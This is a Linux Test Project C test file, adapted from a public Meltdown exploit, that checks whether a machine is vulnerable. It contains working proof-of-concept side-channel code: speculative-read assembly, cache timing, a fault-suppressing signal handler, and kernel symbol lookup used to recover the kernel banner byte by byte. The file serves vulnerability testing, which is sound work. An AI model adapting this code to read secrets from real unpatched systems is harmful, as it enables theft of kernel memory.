1/* 2 * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com> 3 * 4 * This program is free software: you can redistribute it and/or modify 5 * it under the terms of the GNU General Public License as published by 6 * the Free Software Foundation, either version 2 of the License, or 7 * (at your option) any later version. 8 * 9 * This program is distributed in the hope that it will be useful, 10 * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 * GNU General Public License for more details. 13 * 14 * You should have received a copy of the GNU General Public License 15 * along with this program. If not, see <http://www.gnu.org/licenses/>. 16 * 17 * Original exploit: https://github.com/paboldin/meltdown-exploit. 18 */ 19 20#include "config.h" 21#include "tst_test.h" 22 23#if defined(__x86_64__) || defined(__i386__) 24 25#include <stdio.h> 26#include <string.h> 27#include <signal.h> 28#include <ucontext.h> 29#include <unistd.h> 30#include <fcntl.h> 31#include <ctype.h> 32#include <sys/utsname.h> 33 34#include <emmintrin.h> 35 36#include "libtsc.h" 37 38#define TARGET_OFFSET 9 39#define TARGET_SIZE (1 << TARGET_OFFSET) 40#define BITS_BY_READ 2 41 42static char target_array[BITS_BY_READ * TARGET_SIZE]; 43 44static void 45clflush_target(void) 46{ 47 int i; 48 49 for (i = 0; i < BITS_BY_READ; i++) 50 _mm_clflush(&target_array[i * TARGET_SIZE]); 51} 52 53extern char failshere[]; 54extern char stopspeculate[]; 55 56static void __attribute__((noinline)) 57speculate(unsigned long addr, char bit) 58{ 59 register char mybit asm ("cl") = bit; 60#ifdef __x86_64__ 61 asm volatile ( 62 "1:\n\t" 63 64 ".rept 300\n\t" 65 "add $0x141, %%rax\n\t" 66 ".endr\n" 67 68 "failshere:\n\t" 69 "movb (%[addr]), %%al\n\t" 70 "ror %[bit], %%rax\n\t" 71 "and $1, %%rax\n\t" 72 "shl $9, %%rax\n\t" 73 "jz 1b\n\t" 74 75 "movq (%[target], %%rax, 1), %%rbx\n" 76 77 "stopspeculate: \n\t" 78 "nop\n\t" 79 : 80 : [target] "r" (target_array), 81 [addr] "r" (addr), 82 [bit] "r" (mybit) 83 : "rax", "rbx" 84 ); 85#else /* defined(__x86_64__) */ 86 asm volatile ( 87 "1:\n\t" 88 89 ".rept 300\n\t" 90 "add $0x141, %%eax\n\t" 91 ".endr\n" 92 93 "failshere:\n\t" 94 "movb (%[addr]), %%al\n\t" 95 "ror %[bit], %%eax\n\t" 96 "and $1, %%eax\n\t" 97 "shl $9, %%eax\n\t" 98 "jz 1b\n\t" 99 100 "movl (%[target], %%eax, 1), %%ebx\n" 101 102 "stopspeculate: \n\t" 103 "nop\n\t" 104 : 105 : [target] "r" (target_array), 106 [addr] "r" (addr), 107 [bit] "r" (mybit) 108 : "rax", "ebx" 109 ); 110#endif 111} 112 113#ifdef __i386__ 114# define REG_RIP REG_EIP 115#endif 116 117static void 118sigsegv(int sig LTP_ATTRIBUTE_UNUSED, 119 siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED, 120 void *context LTP_ATTRIBUTE_UNUSED) 121{ 122 ucontext_t *ucontext = context; 123 unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP]; 124 if (*prip != (unsigned long)failshere) { 125 tst_brk(TBROK, 126 "Segmentation fault at unexpected location %lx", 127 *prip); 128 abort(); 129 } 130 *prip = (unsigned long)stopspeculate; 131 return; 132} 133 134static int 135set_signal(void) 136{ 137 struct sigaction act = { 138 .sa_sigaction = sigsegv, 139 .sa_flags = SA_SIGINFO, 140 }; 141 142 return sigaction(SIGSEGV, &act, NULL); 143} 144 145static inline int 146get_access_time(volatile char *addr) 147{ 148 unsigned long long time1, time2; 149 volatile int j LTP_ATTRIBUTE_UNUSED; 150 151 rdtscll(time1); 152 153 j = *addr; 154 155 _mm_mfence(); 156 rdtscll(time2); 157 158 return time2 - time1; 159} 160 161static int cache_hit_threshold; 162static int hist[BITS_BY_READ]; 163 164static void 165check(void) 166{ 167 int i, time; 168 volatile char *addr; 169 170 for (i = 0; i < BITS_BY_READ; i++) { 171 addr = &target_array[i * TARGET_SIZE]; 172 173 time = get_access_time(addr); 174 175 if (time <= cache_hit_threshold) 176 hist[i]++; 177 } 178} 179 180#define CYCLES 10000 181static int 182readbit(int fd, unsigned long addr, char bit) 183{ 184 int i, ret; 185 static char buf[256]; 186 187 memset(hist, 0, sizeof(hist)); 188 189 for (i = 0; i < CYCLES; i++) { 190 ret = pread(fd, buf, sizeof(buf), 0); 191 if (ret < 0) 192 tst_res(TBROK | TERRNO, "can't read /proc/version"); 193 194 clflush_target(); 195 196 speculate(addr, bit); 197 check(); 198 } 199 200#ifdef DEBUG 201 for (i = 0; i < BITS_BY_READ; i++) 202 tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]); 203#endif 204 205 if (hist[1] > CYCLES / 10) 206 return 1; 207 return 0; 208} 209 210static int 211readbyte(int fd, unsigned long addr) 212{ 213 int bit, res = 0; 214 215 for (bit = 0; bit < 8; bit ++ ) 216 res |= (readbit(fd, addr, bit) << bit); 217 218 return res; 219} 220 221 222static int 223mysqrt(long val) 224{ 225 int root = val / 2, prevroot = 0, i = 0; 226 227 while (prevroot != root && i++ < 100) { 228 prevroot = root; 229 root = (val / root + root) / 2; 230 } 231 232 return root; 233} 234 235#define ESTIMATE_CYCLES 1000000 236static void 237set_cache_hit_threshold(void) 238{ 239 long cached, uncached, i; 240 241 for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 242 cached += get_access_time(target_array); 243 244 for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 245 cached += get_access_time(target_array); 246 247 for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { 248 _mm_clflush(target_array); 249 uncached += get_access_time(target_array); 250 } 251 252 cached /= ESTIMATE_CYCLES; 253 uncached /= ESTIMATE_CYCLES; 254 255 cache_hit_threshold = mysqrt(cached * uncached); 256 257 tst_res(TINFO, 258 "access time: cached = %ld, uncached = %ld, threshold = %d", 259 cached, uncached, cache_hit_threshold); 260} 261 262static unsigned long 263find_symbol_in_file(const char *filename, const char *symname) 264{ 265 unsigned long addr; 266 char type; 267 int ret, read; 268 char fmt[strlen(symname) + 64]; 269 270 sprintf(fmt, "%%lx %%c %s%%c", symname); 271 272 ret = SAFE_FILE_LINES_SCANF(filename, fmt, &addr, &type, &read); 273 if (ret) 274 return 0; 275 276 return addr; 277} 278 279static unsigned long 280find_kernel_symbol(const char *name) 281{ 282 char systemmap[256]; 283 struct utsname utsname; 284 unsigned long addr; 285 286 addr = find_symbol_in_file("/proc/kallsyms", name); 287 if (addr) 288 return addr; 289 290 tst_res(TINFO, "not found '%s' in /proc/kallsyms", name); 291 if (uname(&utsname) < 0) 292 tst_brk(TBROK | TERRNO, "uname"); 293 294 sprintf(systemmap, "/boot/System.map-%s", utsname.release); 295 296 tst_res(TINFO, "looking in '%s'\n", systemmap); 297 addr = find_symbol_in_file(systemmap, name); 298 return addr; 299} 300 301unsigned long linux_proc_banner_addr; 302int banner_fd; 303 304static void setup(void) 305{ 306 set_cache_hit_threshold(); 307 308 linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner"); 309 tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr); 310 311 banner_fd = SAFE_OPEN("/proc/version", O_RDONLY); 312 313 memset(target_array, 1, sizeof(target_array)); 314 315 if (set_signal() < 0) 316 tst_res(TBROK | TERRNO, "set_signal"); 317} 318 319static void run(void) 320{ 321 unsigned int i, score, ret; 322 static char expected[] = "%s version %s"; 323 static char read[32]; 324 unsigned long addr = linux_proc_banner_addr; 325 unsigned long size = sizeof(expected) - 1; 326 327 for (i = 0; i < size; i++) { 328 ret = readbyte(banner_fd, addr); 329 330 read[i] = ret; 331 tst_res(TINFO, "read %lx = 0x%x %c", addr, ret, 332 isprint(ret) ? ret : ' '); 333 334 addr++; 335 } 336 337 for (score = 0, i = 0; i < size; i++) 338 if (expected[i] == read[i]) 339 score++; 340 341 if (score > size / 2) 342 tst_res(TFAIL, "I was able to read your kernel memory!!!"); 343 else 344 tst_res(TPASS, "I was not able to read your kernel memory"); 345} 346 347static void cleanup(void) 348{ 349 SAFE_CLOSE(banner_fd); 350} 351 352static struct tst_test test = { 353 .needs_root = 1, 354 .setup = setup, 355 .test_all = run, 356 .cleanup = cleanup, 357 .min_kver = "2.6.32" 358}; 359 360#else /* #if defined(__x86_64__) || defined(__i386__) */ 361 362TST_TEST_TCONF("not x86_64 or i386"); 363 364#endif /* #else #if defined(__x86_64__) || defined(__i386__) */ 365